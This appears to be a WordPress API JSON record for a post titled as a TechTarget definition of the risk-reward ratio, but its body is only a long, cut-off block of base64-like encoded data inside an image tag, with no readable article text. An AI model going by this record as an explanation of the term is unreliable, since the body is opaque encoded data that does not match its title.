{"id":1543,"date":"2024-03-04T16:42:02","date_gmt":"2024-03-04T16:42:02","guid":{"rendered":"https:\/\/www.mejakerja.net\/documentation\/?p=1543"},"modified":"2025-10-21T09:46:12","modified_gmt":"2025-10-21T09:46:12","slug":"what-is-the-risk-reward-ratio-definition-from","status":"publish","type":"post","link":"https:\/\/www.mejakerja.net\/documentation\/?p=1543","title":{"rendered":"What is the Risk-Reward Ratio? Definition from TechTarget"},"content":{"rendered":"<p><img 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gSk\/hsX5CfoHgSk\/hsX5CfoNWwO6bseqaEVLXynQp79JpDb5zYSSQclp5lew41wUaDUR8hkoyMjIyPiMevDut41iWDT9Qrn0puSnQpyXXzZlS4LLrcZBEonMKeLbUpJ5S2nKj48hgN5+BaQXLTonyUfQPAlJ\/DYvyE\/QeZa53WFy1C\/q\/a1t2dNTbzdjsXTArraGlrbQ8g1okKbW4WW8GSdnG1tEeeGDH1mO65p1CtikEdq3JeNQjW3HuG4JNMiMtlT4jiDVvnEKWRZMkqVsIyeCMB6E8CUn8Ni\/IT9A8CUn8Ni\/IT9B+LcuClXXb9MuihSkyadV4bM+I8nkcZdQS0K\/1SojH0QEPgSk\/hsX5CfoHgSk\/hsX5CfoLgAQ+BKT+GxfkJ+gHRKSZY8HRv9GUkf\/BC4AGMVCru0KSqAgjdbIiW2azMzSk+bPPxyA+XefpguhT1mAsiIlXtldHTt0WIjONqMgv\/AMpDS0nuUKBI0TqGih3ROKFUK0daVOJhO9Ss5ZSdgk5xjaLZz6huelrU1QY7iCSakREqIlHgskjnPmHkOk90T3QtUnXRQXnaVBuYqZPqVuUlyj7yPNKK4R4jzG3FIeJTZGRkZEZKUXqFaxsu4+5GpdeuetSGb\/rUC0bnrbVxVu2GmGTYl1BBpM3CeMt42lam0KWlJ8TIQSO44ZVc6J0DVGsxLbZu2NeTdvpgsKaKc04S8b4y3mwZkfDPDJ8owCvd2Jf91WZcGpmliaa1btNbt6mRly42826tOcaVJQo8keGUOpQZF\/nz6hHdXdB90xYsbUOr1K4rTqEXS+XBKayikraVU2pC28pJW2e6NJOcDLOccQHp7SjSeBpVT7mp8Kpvz27muapXM8bzZI3TkxwlraLHKlOMEfKNeUnuSaXTLqgyl6gVqTaVIrrlyU611sskwxUFmats3iLeLQSlGokHwIzGvNR+6V1itq99TZdKqluN25pzV6HDKlyYhnKqKJ0ZlxaEu7XBRKWrGCPPJzD4VB1w1f0\/p+t181e54dbZoVcahU2mymDQmK4\/uiQ4pW1lLKCcLaIi5SzniA9TaLaVQdGbIRY9Oqj9QYRPnTyffbJCjVJkLfUnBHjBG4ZF+gzweLrz7pzWzTqHe1oVGr2zXrhoLFv1GFWIcI0Rkt1CYhhTDzRKPCiI9pJkeTSeRNc+v3dM2UrUGdUbktOfG0ymQSmNN0lTaqmzIUjKUntnujSS8EZZzgB7aAaI1r1Yv2k3jYGmtgz6RRJ96RqhOcq9VYN5hhEVpC90hGSJS1m5znwJJmNaUfuktZ9RW9PaBaUu36PVrlkVeBPnPQ1SYylwj2SfZTtF4quUuOOUB7CAeJ3e6o12rWlVjXbRKbAadmuVlu5JsGAmc8x3jI3KHG4ZuIWbS8Ga1J2tjJFzlnprndi6uVe5lMab0uDV6ZRKZS50tbcJCGql3yRGtW288hUdBZMk8FHtFgwHt0lJM8EY5HmPuXbi1RuHVrVlF43rHnUqmV040elqYw4wtTDLiTbVtHhtKVGk0kR5Uec8w9OANf6saSQNVnbQcqFVkQfshc0O5mNy2St+7HJey2rJ8Entnky48BhE7uVaFOo9Roy7onJbqN7fbZayYTlD+8SvcFx8nxcZ5RvcAGhaL3ME22ptTp9B1auKHZ1QdqMoraQwxuW3pja0uZd2d4tslOKWSDMvGweeA+HUO4vhpotIpdq6n1ugPRLVRZ9UkMw2HiqdPQZmklocIybUSjUe0k88THpYAHmCV3D9BYmw5luX9MpKzpUKk1VS6PCmKmNxi2UONqkIX3u4afFM05z6h9yp9zLZdyUC86VGvd1MW97hhVpxxlDSijuw92kmW8GRGWWcHyY48BlndV1657Y7nbUGvWYt5uswqHIcjOMkZra4YW4nHOlBqVnmwPGndEWjPsC3rar9qMzKvaUqzodPtFVPrxRXotadWTnfRtbW1JU7tEozSSjyZ5wQD1RA7nFi3ruqMqk6s1mnWnWZ7lTqdrNoYJiU+42aHEm6ZbxLS85NsuBnxzniOvRPuW6TozcEV2m349U6ZRo7sWmU1ylQmnY7Th8N9IQ3vnjSXBKlGR49Y8+6123VbSrMjWrUJ+kXVApFEoTdboqbheiVOA6SUNuOIaQrZNS1KzhRcdngKb4k3NpLq5c942hfi6tJcbm1SpKKO654GizTQbSJhms21ONkRkwykkqPOVcCyYeja13NluV2iapUCVctQbY1QlFJmOMklK4aiQhJEg+O0XiFkj5SMyPgYwSm9xfb32avikztTnpcm7maWy\/Lh0uJDbgrgGZsmhlkibx5OSMuOOJ8Rj946gJo3cYXtXNL6tcqazT3DjVebVk4qEeQ482mS8ZEpRJMkLUZbJ4IuTkHXe9gaN6b6NXrV9Lb\/kKq9S0\/kSExW6+p85jJJIynbBqMzVk8bwvWZcwDMLg7k2DeFxpuZvV587iVTmKVX5p0enynJrbeTQskONqTGc2TwSkFyY5Rta8dHaXdlVsGpqqkiL9gammpRW0NIxIUllTRIVjBJLCs+KXNyDQ+mj71I150vTQH3FKubThEm42iWaicU0lsmX3C\/r4mnPKZD12A821buMaRU9UF6hpvuc0y5cTFzLgKpkZxZyWyItg5Jlvd3guCM4L8x3ye5BjyaHd1oL1Jqx27dNxouZqnnCZ\/8GV343Jcw4WFuEpTRJ8Y8ER8hnxHosAHn2N3ItLZulmQvUCtKs6PcCroZtXcskwmpGo17e+xvDRtmatjOMj0CRERYIcgAAAAAAAAAAAAAAAAAANEXr3KtCvNWoZybnnR\/wD1Bk02VJ2GEn3sqG4haSRk\/GJRtkR59Y3uADRN\/dylbd\/3PeF2T7lqUSbdLFLS0uO2glU9+AeWXmzPO0e1gzIyxzDtj9zdUajWLVuDUDVOt3ZULaqE6aS5kVlpt5MmNuFMk22RE2gknnhnJmY3iADzHR+4kpsKo29GrWptbrVsWmzUYdFocmIwko0SYhSFsm+kiW5skoiSauQkkWBLH7jG3qJZtZses6pPKpVWpxUOBtUiBGcjNm6ladp1CCW+54pJI1KLJcxj1MPNms7E25e6bsaz6lPONTUW7UqnSEuZ3K6wgyS0tRcilNpPaIvyyA+vencsWVqFcFerdZuaZmq2rEtZbUfYScbvaQT7UlKuOHCWlJ4MscB8u4O5bkXxQ4aL01wqtwV+iVBNRpVUlwIa2YWG92pHeppNtaVp8razk+PAecdEKTqFTdYnNPJSpdIqlJtKrpv2rP3CU2FLedUrvSSoyUZR17WTJKsLJJHwIiH0LFsdigRaxo5cFepFLrEy2Wq4m8KfX5E2BLhsPJU4UhK1lsEvGDNBlkjPAD1cxoPTF6FVnRubdj0xqvxpTUurIhRo6jVIM8qQ0ylLaSIsEkvURFk8DF9XO5RoeoZUGW7f0iirotAVba3HYEaUh2MpBJNSUvkZNOHs+Wnj6vWPP1nahLt6HQLJ1DrlyIsOG5IuFrwdEcbdqEVU4ktyHdte8YpyHHUIbRlTiyLaURJxnbesMOhaid1FbumupVZkRrRK2XqlT4ZTVRmp8zbwozUky2jQniRZ\/MBlDXcy0K27hoN1Maly4ECmWizaFXiOsMG1Vae0o1FtLXxZMzVxNP8AuQu0R7l6Do3WmKjAvd+rU2nxlxaZDXSYTKmWlKyW9kNtk6+oi4Eo1Fw5cjUNfodjK1j0esCj3e7ctkSLRuuO869U++mpDaUJLC3CPCjbPKSM+Kdn8hujuNK1XK93PVtza5Kelm2cmNElPKNS5ERt9aGVmZ8uUJIs8+AHZV+5koFZtfVK1pVx1JDOqNRVUpbrKUpXDWaWyJKOZactJyR8pGZHwMYZB7iSms2xdNFm6iTXp1zO06R37GpMWIiI9CPLJoYaImzLgWUmXHHKPToAPPVx9yHS70eq1Tu+\/avPrNUpNKgpqbcdqO9GlwHjeYmNkgtkl7ZllOMYyXOM20k0Wc06rVfvC4bxn3ZdNymymfVJcdqOW6ZSaW2m2miJKElkzP1meRs8AAAAAAAAAAAAAAAAAABjmo1nR9Q7Fr9iS5bkRiv06RTnX20kpTSXUGg1ER8DMsjIwAaRh9zFRYjjyyuSarfWQiyD\/wAFPBhLZo3\/AC+Vg845B8KB3Ir1sP0uZp3q7cNqymrfg23V3ocVhZ1ONELDLn+IR7l0iNSdtOeB\/wC\/osAHneodyFCOsS7tt3Uas0a5lV9deh1VuKy6qOpbKWXGlNrI0upUlOeJFxHyv\/sQUBqy7cobF9Tjrtq1mo1mn1qVTY0nKpxn3w07GcI2nEKLHMWDSRlgenR1v7RMrNBZUSTwXrMBom3O5ytigV6m1N2\/HZtRotvz6LJ2o0ZjeJmq2lPKQ0SUt4xhKSTjBFxPA+HC7kZi0ItAk6f6x1m1atTKGq3ZVSjx2HDnwTdN0iNLmSbcSozNK0nksjREqg3LdWkVT1HeW5U5EbUCpP33AXV0055+FHWpDUcnlqIkIbTsqJOSI8846rWsLUDVPQ3TSZKrtPjJjVmuTqZQrjrr0Z6pUxST3DROtmTjmwlO2R8eGyfIA9Bu9yRQG9QXL1pGosqM1VpMWbU4r9Ngy3Z0hhCU7xMh1s1t7ZJI1kjgZ5PgNn1LS+nVPWCiauKqrzcyh0SVRW4SWy3a233ErNZqzkjLYwREQ8YyTj3baWnWo+n9Um02W8nwdS7RbkPTJZyYstanlx3iWRE0oyMluuEZEj8xu\/uZdSKdfFyXDUa3VqzOveowO\/dl9k2qcUFt5baUQk7R5bS6SkmpRJUo+PJgAs7uMLXtC\/YlwI1ElTGYEmpSotOXAiofxNJW93shJE68ZbZ4UvOCIh1n3H1Ffteg2O7q0\/KqNoVB2p2w7IpkJ46fHcI23GFx1JNMhtXIZr45IuTGBg\/c0W5pte1rUfWbUbUOZE1Ek3PKROW7W1MLRLS+tCafuTVjZ2CThGOOcjD7OqM+FG07vClTpDt1L1ol0FBm8pTj9IekPd9tqI\/KbQgiV6kng+AD1arufIUjQqq6J1C6ZUlNZaeTLqiYMdhZrcXtGpLLKUNpIsERJxwIiLPAYzq93I1M1WmU6eV7zaQ7Dtxdrvf\/AE6PMS5EUWDU2TxHuXT\/AK0cccOA9BlycTHIDzzM7kdgqhAl0TUeq0xlqzI9lVJhEJl1NQiMJwhRmvi2rJ5PZ5fWXET1XuPGFxGo1paoVy2+\/bdYtevqjRWHfC0FpJpTneEe6c2VKTtp5lD0cAD5Np2zSLLtikWjQY5sU2iwWKfEbNW0aGWkEhBGfOeElx5x9YAAAAAAAABgl5+mC6FPWYBefpguhT1mAtjsqlllHQhyixG3EkpKoyCURlkjLZLgNdr0Bsm1FVa49HLUti0rxqDakNVg6WT6WjUslL\/wyUngrHEkmnJ4M84GdUdqpnS4htymSTuUbJG2eSLZL8xXuat7Wx8s\/qKlrW+mXc7WRYuksHSquQIlxR25aqpPekxkpTMqCnt+p82y4JMnMbJf5SSkuYZTVdJ9N61HrsWq2ZTJbVzG0qsIdZ2inG2ZGg3f6tnZTj9CH39zVva2Pln9Q3NW9rY+Wf1Aago\/cp6cN6zXbrPdVFpdwVSvTIMumlLhkpVLOPFQxhBmZko1GglZwWOHqyM2d0S0jkXBWbqkad0J6rXDGOHVZTkRKlzGTIiNDmeCiMiLPDjghlO5q3tbHyz+obmre1sfLP6gMKovc9aI27bcy0KJpjQYdHqElmZLiNRSJL7zSiW0tZ8qjQpJGnJ4LHDA+xU9KdOa03XGqrZ1MlIuU2lVcnGclNNvG7Nz+rZwWP0H3dzVva2Pln9Q3NW9rY+Wf1AfDvvSvTnU+jsUDUCzaXXoEVwnWGZjJLJpZFjaQfKk8cOB8g\/cHTHT6mOUN2m2fS4iraaWzSNxHJBQm1lhSWiLgkjLl9Y+zuat7Wx8s\/qG5q3tbHyz+oDBat3OGhNco0G36tpZb8mn0x5+RDZVFItwt5RreNKi8YiWozNRZwZ8pDtrXc9aH3HPpVTrelluS5NDabYp61wUf4DTfkIIi4GlPMRkZEM13NW9rY+Wf1Dc1b2tj5Z\/UB8Gm6UabUe+JepVKsulRbonMd7SKo0wSX3GsJLZMy\/JCS\/PZL1DLBDuat7Wx8s\/qG5q3tbHyz+oC4BDuat7Wx8s\/qG5q3tbHyz+oC4BDuat7Wx8s\/qG5q3tbHyz+oCmTGYlsORZTKHmXUGhxtaSUlaTLBkZHwMjLmGE29oZpLa6qM5R7Epbbluk+mkOOtm8uAl5w1rSypwzNtO0fAk4Ii4FguAy3c1b2tj5Z\/UNzVva2Pln9QGJXNoVo5ed0xL2uvTagVWvQVIUxPlQ0rdSaDyjJn5WyZFjazjmH2ndPbGeptYo7lpUo4VwPOSKqx3qgkTXXCIlrdLHjqPBZM+PAfT3NW9rY+Wf1Dc1b2tj5Z\/UB8i3NNrCtG2XLMtu0aZAobyXEuwGo6dy6S\/L20nnb2s8c5yMatrubNBrPiVmDbOlNvU5i4WFRqmhmKWJLKuKmjzyIP8AoLCeBcBnm5q3tbHyz+obmre1sfLP6gPhWvpdYdmVidX7btuNCqFQZZjPyEmpS9yynZbaTtGewhJFwSnBc4ysQ7mre1sfLP6huat7Wx8s\/qAuAQ7mre1sfLP6huat7Wx8s\/qAuAQ7mre1sfLP6huat7Wx8s\/qAuAQ7mre1sfLP6huat7Wx8s\/qAuAQ7mre1sfLP6huat7Wx8s\/qAuAQ7mre1sfLP6huat7Wx8s\/qAuAQ7mre1sfLP6huat7Wx8s\/qAuAQ7mre1sfLP6huat7Wx8s\/qAuAQ7mre1sfLP6huat7Wx8s\/qAuAQ7mre1sfLP6huat7Wx8s\/qAuGPXXYNpXq9SpNy0VqZIokxE+nvmpSHYz6eRSFpMjLJcDLODLgZGPp7mre1sfLP6huat7Wx8s\/qA+RbmmtgWlTJ1HtuzaRTYVUdcfnMR4iEJlOOZ21OkReOZ5PO1nhwHwLd7nbQu04lSgW7pRbMGNWFIVPabgINEjZWS0kojIy2SURGSeQjLkGbbmre1sfLP6huat7Wx8s\/qA+Bdekumd8z6XU7vsekVaVRTzAdlRkrUwWSVsl\/7dpKT2TyWSI8ZIfjUPSDTHVmAxTdSLIpVwMRV7xgpjO0ppXOaFlhSc8+D4jItzVva2Pln9Q3NW9rY+Wf1AYXV9ANHKzSYFElafUpuHS6e9SoTcZs45xob2CdZbU2aTSlZJIlER8ecZvSqTTKFTY1Ho0BiFBhNJYjx2EEhtptJYSlKS4EREXIPxuat7Wx8s\/qG5q3tbHyz+oC4BDuat7Wx8s\/qG5q3tbHyz+oC4BDuat7Wx8s\/qG5q3tbHyz+oC4BDuat7Wx8s\/qG5q3tbHyz+oC4BDuat7Wx8s\/qG5q3tbHyz+oC4BDuat7Wx8s\/qG5q3tbHyz+oC4BDuat7Wx8s\/qG5q3tbHyz+oC4BDuat7Wx8s\/qG5q3tbHyz+oC4BDuat7Wx8s\/qG5q3tbHyz+oC4BDuat7Wx8s\/qG5q3tbHyz+oC4cGWSwYi3NW9rY+Wf1Dc1b2tj5Z\/UBiVR0N0mq9Qq1Qq1h0uYquSGJdRafb3jEl9n7t1bRnsGsv6tnJ8M5wK760f0u1MpEWhX9YlGrkCColxGZcZKijnjH+GZcUcCIvFMskWBkW5q3tbHyz+obmre1sfLP6gPl0PTqw7ZehyLes+kU12nwyp8VcWIhtTMYjzukmRZJGeOOTPETWppTpvY1WqVds+y6TSKhV1bU2REjkhb3jGrBmXIW0ZngsFkzMfd3NW9rY+Wf1Dc1b2tj5Z\/UBhiO590Tbvs9TW9MLfTdBuG8dTKIknd6fK56tv\/wB+Nr8xRRtEdKreuaNd9Esqnw6rDKR3u82lWGVPrNby0IzspWszPaWRbRlwzjgMr3NW9rY+Wf1Dc1b2tj5Z\/UBcAh3NW9rY+Wf1Dc1b2tj5Z\/UBcAh3NW9rY+Wf1Dc1b2tj5Z\/UBcAh3NW9rY+Wf1Dc1b2tj5Z\/UBcAh3NW9rY+Wf1Dc1b2tj5Z\/UBcAh3NW9rY+Wf1Dc1b2tj5Z\/UBiV5+mC6FPWYD8XWl5NUIpLiFr3SeKUmRYyYC2OyqWYUT0RC+Hb7JC4Q0T0RC+Hb7JC4VLQAAAAAAAAAAAAAAdE2UmIwp1STUfAkpLlUozwRf7iZtusOJJa5DDZn\/AJCQZ4\/1AfQARbiqe2tfLDcVT21r5YnQtAQmxVfbWvljohnVZTRu99tJwtSMbv1GZf8AQaH1QEW4qntrXyw3FU9ta+WGhaAi3FU9ta+WG4qntrXyw0LQEW4qntrXyw3FU9ta+WGhaAi3FU9ta+WG4qntrXyw0LQEW4qntrXyw3FU9ta+WGhaAi3FU9ta+WG4qntrXyw0LQEW4qntrXyw3FU9ta+WGhaAi3FU9ta+WG4qntrXyw0LQHz2pUuPJTHmkhRO5JDiOHH1GQ+gIAAAAABDJlSVSu8oSUbaUkpxa+RBHycOcwFwCImarjjNa+V\/+4biqe2tfLExHqLQEW4qntrXyx0S1VWMTZlLaPeOJb+75MnyhofUARbmq+2tfLDcVT21r5YRHqLQEW4qntrXyw3FU9ta+WGhaAi3FU9ta+WG4qntrXyw0LQEW4qntrXyw3FU9ta+WGhaAi3FU9ta+WG4qntrXyw0LQEW4qntrXyw3FU9ta+WGhaAi3FU9ta+WG4qntrXyw0LQEW4qntrXyw3FU9ta+WGhaAgU1VkllMxkz9Rtngx2wJZym17xvdutKNDiM5wf5fkfKI0KgAAAAH5WtLaFLUeCSWTAfoB81l6pTi37Km2GlcUEpO0oy9Z+odu4qntrXywiBaAi3FU9ta+WG4qntrXyxOhaA+U0dVXKdj99tFuiSed3y5FG4qntrXyw0LQEW4qntrXyw3FU9ta+WGhaAi3FU9ta+WG4qntrXyw0LQEW4qntrXyw3FU9ta+WGhaAi3FU9ta+WG4qntrXyw0LQEW4qntrXyw3FU9ta+WGhaAi3FU9ta+WG4qntrXyw0LQEW4qntrXyw3FU9ta+WGhaAi3FU9ta+WOl5+oQMPyVtvskfjmlOypJev8yED6YDhJ7RZLnHIDBLz9MF0KeswC8\/TBdCnrMBbHZVLLaJwo8M\/\/jt9khDT72tSq1iTb9MuCnyqlDLL8RqQlTrZfmkjyQ\/SES3LRNEA8SVU8yZP1Obvxf8AnA8y6evWzMkaQUa2e9TvGmVKau5G2cFLjsbh9MjvrHjESnjZxt8p4MuQVLXqWDXaRU5cqDT6lGkyIKkolNtOpUplSiyRLIuQzIucRvXrajFwotR24aeisOp2kQlSEk8osZ4J5eQaPtihW1ZF96w06l1hNpU5mPQnFT2jI1NLU06anDUvO0ozPiZ5PiMJqDtC8B1m233Ijmpj+oMWRBQez4Qcb79ZWl9H+Y2SjE5lReLs7Rc4D1M1etpv3Eu0mrhp66y0naXBKQk3kljPFOc8g+2PHlsu0VVuWnbDZxT1Ti6hPv1RlJJ8IIMqi8uQ+5\/n3KoxkZKPxTQpBFzEPYKfJIB+gAAAAABFVCymN8S12haIqn5Mb4lrtEKnSUbaiQZEoyPBnzGA5NaSPBmX+45zkeH9UtKO6rqeo86oUydUZ8Rx1tTUqFK73j7JEWMNG5zch+syMet9PqbfFLo5xr+r8Or1DeGpL8WMbCCRgsJ2TM8ny8RuysKjGt0103aapnwjumY6bZSfMIqR5qrpne2Yt5iEVI81V0zvbMYULgAAAAAAAAAAAAAAAAAAAAAAAAABDU\/LidOnqMXCGp+XE6dPUYuAAAAAQxjxUZ36t9khcII\/pGd+rfZIRPYWmvHLj\/cfnepPyTJX6GMN1Dpd4VKC83bs5CWzb2VR0ow4tWf8q8lgYn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PhTEzPyhm0f0lK91v\/ALFw8j1ru\/tP6Pej1LpduzKpTHFstlU0PbtGz\/mXu1I2sFk+HPgbSp3dc6DVOXGgRL0JUiU4lppHeT\/FajwRZ2PWY0V4GTbiKqqJ1LtZP2R47h26bt7FriKo30jfT11vl91Wp9G5gH4QrbIlEP2Mj50AAAAAAAAAAAAAAAAAAAAElV9HSugX1GKxJVfR0roF9RgO9j7lHukOwdbH3KPdIdgDBLz9MF0KeswC8\/TBdCnrMBbHZVLLKLk6NDIjwfe7fZIa4tDRiuWpcVYrp6o1meivPuvzmnoERLizUk0oIn0t7xJNkZbBEeCwX5jZFE9EQvh2+yQuFS1qWJolXyqibgq+rVwVKswKc5TKTPchw0OQmnFoU4syS0SXnVE2gjUsscuEkZmYP6ARJNdW6u8Kqm2pNWar0u3iZZ73fntqJZLNzZ3iUG4lLhtkeDUkubgNtAA1LTe5\/p9OuCOsrtqrtqwKw7cEG21ts97x5zjinVK3pJ3imieWtxLZnhKj5TIiSW2SIiLBDkAAAAAAAARVQ8JjfEtdoWiOpsvPRyNhJKcaWl1JHzmk84H5RWIRpLeqW0vnSptWSP8A2AWqIjIyPkMa9vHQDSK\/awVeuyzWZ04mks70pDzXiJMzItltaS5TPjjIzfwvT\/75\/sV9A8L0\/wDvn+xX0Hu3crtTzW6pifSR+oVPh02OiJBjoZabSSUpSWCIiLBf8EQ66R5qrpne2Y5Or0\/++f7FfQSUypQmY6kOuqSZuuHg21chqMy5h4mZmdyPsAI\/C9P\/AL5\/sV9A8L0\/++f7FfQBYAj8L0\/++f7FfQdC63GKW02lwzaUlRqVu1cD4Y5v1AfTAR+F6f8A3z\/Yr6B4Xp\/98\/2K+gCwBH4Xp\/8AfP8AYr6Dqk1mGhlamXjNZEeyW7VxP\/YB9EBA1WYKmkKceMlGkjUW7VwP\/YfvwvT\/AO+f7FfQBYAj8L0\/++f7FfQPC9P\/AL5\/sV9AFgD5jFajqdeS64ZISoiQe7VxLH6Dv8L0\/wDvn+xX0AWAI\/C9P\/vn+xX0DwvT\/wC+f7FfQB+an5cTp09Ri4fLW8dSlMlHQvcsL3inFJMiM+Yizyj6gAAAACGL6Sm\/q32CFw+a84qnz3JK21qYfJOVJTnYURY4kXMA+kAiKr08y+\/P9ivoOfC9P\/vn+xX0AWCGqeRH+Jb6x+vC9P8A75\/sV9BJUanCcSwTbqlbL6FHhCuBEfE+QB9cBH4Xp\/8AfP8AYr6B4Xp\/98\/2K+gCwBH4Xp\/98\/2K+g4Or0\/H35\/sV9AFoD5kStxnGjVIcNK9tZY3avJJR4Pk9WB3+F6f\/fP9ivoAsAR+F6f\/AHz\/AGK+geF6f\/fP9ivoAsAfMdrUYpTKG3DNpSVm4rdq4GWMc36jv8L0\/wDvn+xX0AWAI\/C9P\/vn+xX0DwvT\/wC+f7FfQBYA+bLrURuK6uO6anUoM0J2FcTxw5h2IrEA0EanzIzLj\/hq+gC4BH4Xp\/8AfP8AYr6B4Xp\/98\/2K+gCwQwfP5\/vN9kFViARZS6pR+pLajM\/+BzTm3jN+W+2bapCyUSD5UpIsFn8xMdhaAAIATzfNHz\/APw1dQoHW+3vmHGs420mkB+IXmbHRp6h3j5kSotxWUxZqVtONJJHkGaVY5yMiHf4Xp\/98\/2K+gCwRvU+JKMlyYbTqi4Ea2yPBf7B4Xp\/98\/2K+geF6f\/AHz\/AGK+gmJmOsJiZjrDWVX7nHRi570kXbW7GYk1ZK2Xykd9PowtPknsJWSOYuGMDZTdGpjRJ3dMip2cYw0WS\/4EzFThJnyHVOqJK0oJJ7tXHH+gs8L0\/wDvn+xX0Huq9cr1FVUzr1ar2fl5NNNF+7VVFMapiapnUeUbnpHpCoixwIfoR+F6f\/fP9ivoHhen\/wB8\/wBivoK2RYA+ZLrUZttJx3DUo1pIy3auTPHmHcVXp\/8AfP8AYr6ALQEfhen\/AN8\/2K+geF6f\/fP9ivoAsAR+F6f\/AHz\/AGK+g6IlajLbUch00q21ERbtXJnhzAPpgI\/C9P8A75\/sV9A8L0\/++f7FfQBYAj8L0\/8Avn+xX0HQdajd+JbJ09yaDM1btXA88C5AH0wEfhen\/wB8\/wBivoHhen\/3z\/Yr6ALBJVfR0roF9RjjwvT\/AO+f7FfQTTZqZzKocFK3FPFsKVsGSUJPlMzMB9Fj7lHukOwfltOwhKfUWB+gGCXn6YLoU9ZgF5+mC6FPWYC2OyqWW0T0RC+Hb7JC4Q0T0RC+Hb7JC4VLQAAAAAAAAAAYhqnfDuntnyLgiQUzZqnmIUKMtewh2S+4ltslKweE7SiMzIs4I8DLximptjlqFaMm3UTe85JusyoknZ2tzIZcS42oy5y2klkvUZgMesS\/L2duyu6eaiw6R4bpNOiVmPIo6XERpcSQp5BESHVKUhxDjC0n4xkZGkyxkyLEdLte7gve94NAnJtp5mqFONUCnqd7\/o3e7hoIpZqUaVmrGOCUYPgW0XEZDRNN9Rmq5Vb5rlw0dy46u1T6U4UeO4UZilx3XFrQ3tHtb1Zvuq2j4EezzEPlad6D160rmolQqNSohwbaTMREdhRFNTZxPmZ5lLPgoyzk8cp8QS3ZsJ\/pINhP9JD9ACGsavqLeFM1qt7T1204TFv1yNPcaqTkvbkPOR2m1nsNJLCEf4mzlZ7RmR4SRYM5r6v+\/kXjIsnTWmUN2ZSqT4aqLtWJ00LQajS2w0TZkZLXsq8dRmSceSYyW47FlVzUa0b4bnNtNWyzUmlsGkzU8cpttBGR82zsHn15GH13THVF+4pV4UC56HHq1Thv0iYb0Vw2u8zdUphaSI871tKjLjwMzMBn+n12Rr8s2kXfGjKYRVYqJG5UeTbMy4pzz4PJZGQ7Cf6SHw7EtOJYto0q0oLinGKXGRHS4rlXguKj\/U8mPvAMT1MuC6LWtGfWrPtuNWKhGZW4lqVLKOw2lKFKNxxWDUaS2fJQk1GZkXDiZT2xdNw3VpPRb2pdHhOVqs0SLUmoa3jbYJ55lK9g14MySRqPjgzwQyO4qWqt2\/U6Mh0mlT4b0VKzLJJNaDTk\/wBMjDKXZmoFr2Fbtl2vcNKbXRaAilOSJMZatuQ2wltp1JEfBJKSZmR8vABNphe161q67lsq949Eel2\/3svv6jIdRHXvkbW5UlxSlE4jhk9rBkZHguQbL2E\/0kNcaL2FeWn9Mk0u6JlDmqfc75cmQkPE\/KkrMzcdeNwzyZ8MEXIXAbJAfhaOHipLI1rYeol4XDqldliXTakOjR6LT4FRgbEspD7zUh2S3l7ZLYQf\/jbRJSasEosqM+BbNGCosKsQtRro1BptUjJdrdCgUqMy42Zky7GclL3ivWk++U8C\/pP1gPgaj62ptG8KBZlv0TwtKn1SLDqr+3ss01l7a2TUfO4rHio9WTPhjO19hP8ASQ01dHc2WvdUilXDKisxriRV4dYq0uPJkoamOtF4+Gyc2SM+GDxwIhuYiIiIi5gHGwn+khrXW7US79NqRBrFs2pDqUVcyOzPlTJe6bjIcfbaIkoSRrccVvDMuRJEkzNWcEezBh2q1jSdRbQdtiLPbhrclxJO9Wk1ERMyEOmWC9exj\/UBNq5qfS9JbRXctSYTIdekNwoUc3CbJ6Q4eEJNeD2U8DMzweCI8EZ4IfQ01ukr0tGFXnKpRqg89tpedpKlqjJWSjI20mvxsp5Dzg8kfAuQfA1A0+vG8ltSY9apjD1FqsarUPeMKUlC20KStD+D8YlbZ4MuJcB9PS6xqpZcGsP12fFlVS4Ku\/WJpxWzQw244lCNhtJ8cEltOTPiZ7R84DNNhP8ASQgr0moQKPLmUekqqc1lpS2IaXUNG+si4I21mSU5PnPkH0RwoslgBr3SG\/7hvqx5FxXHRocKpxZ8+C7FgPKda2o7qkYQtZEas7PKZF+hDCNJNfbiv28qdQZy7alMVimTaiqLSlO990Q2HWkJalmtRpWazcMsklvCkGWyosmWZWzpxc1p2pItuk1yHtzq3NnyHlNKyUaS8takIwfBZEsiJXJkhjWm2hFes+56BVapUaGcS1oEyBDXToamZM8nzR40tR8FYJGcFyqPIDdoAADVV\/ah6gN3lKsrTSnUN2VRqOVbqTlW3ppW2pSktsNE2ZYWvYX46sknHknkQ3XrfMjaXWpflCZpsD7VzYkJUyrqUcOlk8lZm6+SDSayJSCbSRKTla0ZURGZj6d+abXlOu6ReWn9dp1PmVWk+BaimcytxJsko1Nut7JlhaNteCPge0PiVfQ65V29b9t0esUhyBZ8qHNpUWfFU41JcbYdadTKIj8YjN41ox5KkpPmAZZozfs\/Ua1Hq1U0U5xyNUZVPTLppqOHOSyvZ74Z2jNRIUeSwZqwaVFtKLBjPdhP9JDCNJdP5un1DqEOoyobsqq1SRVXm4TRtRY6ndkt0yg\/JQWzn81KUfOM5AR1V2XEp0iTTacqdKbbUpqMlxLZuqxwTtLMkpyfOYwXR7UG4L5tur1W8aLApU6kVebTno8J9T7aUsKxnbURGo8cp4Is8g2MNdW3p3clpUiswKTWIC3qzcb9WcU8yo0FFedJTrWM+XsbRErkyZAMQszWu+Ky\/Z101+h0Vi0NQ3zZoqIynDnQyWhbkZchRnsL3qEEZkhKdg1EWVcTG8thP9JDS1m6G3RQ5Fp0CtXHAl2nYL6n6Gy0wpMpzCFojpfUZ7OGkLwRp8o0kZjdYD8mgsHhJZGta\/qHd9F1dtqx1WpDboFdTJSVSdlkp9x1psl4Q0ksJTxwZqPJnyFjiNmDD7qseTcN72ldjU5tlu21y1rZUkzN7fNpQWD5sYyA+fqpXNRrfgrqdltWxGp9PhvzahMrSnVJ8QiNLKG2jSZGotozcNWE4LxVZ4ZHY9eeuyzaJc8umLp71WgMTHIqzybKnEEo054Zxn1DXeo2nOrV90yh0xy47bXFiTHpVWiPxnks1BJOGcZs9g8khJbJrTyKMvVwG1KM3UmaVFarBxTmobIn+9UqSztf+wlcSL9QFewn+khjWotcuO2rTnVi0reYrFRjtLcQw\/KTHaSSUmo1uLMjPZLHIkjUfMXOWTiCvU5dXos+lNuE2qZFdjksyySTWg05\/wCQGP2Deqbj0zol+3CmJTjqFKZqMokrPcsbTZKVhSuOyWT4mMb0o1gk6m3RdFNK3l06l0gobtMkPHh2ew8S8PGj\/IkzQeyR8TTg+chTR9LJrFlUPTO4X6dVbXjUBVJq0Zba0rluETaW1JURlso2UuEZcp7SfUPzp3ohQNN75uK6qAlbUatRYUVqMqU+8bJMkvaybq1Zyaix6sfmA2VsJ\/pIDQWOCSyP0ADWVmah3hW9W